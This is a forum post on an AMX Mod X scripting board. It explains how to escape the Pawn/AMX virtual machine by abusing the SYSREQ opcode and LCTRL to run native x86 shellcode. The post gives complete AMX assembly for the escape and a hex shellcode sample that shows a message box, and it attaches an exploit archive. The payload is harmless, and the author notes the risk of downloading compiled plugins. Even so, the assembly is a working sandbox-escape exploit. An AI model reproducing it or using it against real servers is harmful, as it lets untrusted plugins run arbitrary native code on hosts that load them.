Executing x86 assembly from amx script

For scripting examples for learning how to use AMXX.
User avatar
Archive-Poster
Posts: 1367
Gender:
United States of America

Executing x86 assembly from amx script

Post by Archive-Poster »

Ok, let's say you want to execute some real assembly instead of pawn assembly using AMX virtual machine.

I had this idea for a long time, but didn't have enough dedication to take a good look at it. But one day I was quite bored so I dived into Pawn/AMX virtual machine documentation. And I found the security bug I was looking for. Or is it a feature? SYSREQ opcode allows you to jump to ANY address (not only the ones from natives table) outside the VM.

All you need to do is to mess with sysreq's argument. It's argument is an offset in natives table. We can increase this offset, so it points to some our variable. In this variable we have an address where we want to jump to.

I think global variable is the best for this purpose. We can easily get it's relative position from the beginning of the script (using LCTRL and a few tricks). Now we can subtract position of natives table and we get distance from natives table to our variable. But we can't use it as an offset yet. Sysreq's offsets are divided by 8, because of alignment into 8byte blocks. So we divide our offset by 8 too and we can use it now. We have to do just one more trick - we have to use two global variables, because data block isn't aligned into 8byte grid.

Now we have to store some address in that variables that will point to our shellcode. Shellcode will be just global array of cells. How to get it's absolute address in memory? I'll use another security bug/feature to get it. I'll just call LCTRL (with arg 1), which will give me absolute address of data block. Now I just add offset of my array and I have an address pointing at my shellcode. Store it in that first two global vars and we're done.

AMX ASM:

Code: Select all

.CODE
  halt 0
  
.NATIVE

.DATA
;two global variables for storing shellcode's address
  X86ASM_ADDR stat 2
;array of cells containing shellcode, initially filled with INT3-s
;I don't put my shellcode directly into asm file, because of VM's reversed endianity
;I fill in my shellcode later directly into amx file
  X86ASM_CODE stat 25 fill 0xCCCCCCCC

.CODE
PROC plugin_init
;get address of data block
  lctrl 1
;skip these two global vars
  const.alt CELL*2
  add
;save the address into vars
  stor.pri X86ASM_ADDR
  stor.pri X86ASM_ADDR+CELL
;restore original adress
  sub
  
;dirty hack to get script's base address
  move.alt
  shr.c.pri 0x12
  shl.c.pri 0x12
;get offset of data block
  sub.alt
;subtract magic numbers
  const.alt 0x40 - 0x7 ;natives offset minus size of padding plus one
  sub
;divide by 8
  const.alt 0x8
  udiv
  
  
;call sysreq
  sysreq.pri
;cleanup and exit
    zero.pri
    retn
ENDP

.PUBLIC
    plugin_init
Example of x86 shellcode. It's system and hlds-version depended, so it won't probably work. It is just a simple call of MessageBoxA.

Code: Select all

6A 40 E8 0A 00 00 00 54 65 73 74 00 90 90 90 90 90 E8 45 00 00 00 4A 75 73 74 20 74 65 73 74 69 6E 67 20 65 78 65 63 75 74 69 6F 6E 20 6F 66 20 78 38 36 20 73 68 65 6C 6C 63 6F 64 65 20 64 69 72 65 63 74 6C 79 20 66 72 6F 6D 20 61 6D 78 20 73 63 72 69 70 74 2E 20 3A 29 00 6A 00 FF 15 14 E2 44 01 C3
A few notes:
> It gives you one more reason not to download compiled amxx files
> It shoud work with all architectures, not only x86 (of course, you have to write assembly for your architecture)
> It is probably useless
Attachments
x86.PNG
x86.PNG (21.7 KiB) Viewed 26 times
exploit.zip
(921 Bytes) Downloaded 6 times

Who is online

Users browsing this forum: No registered users and 1 guest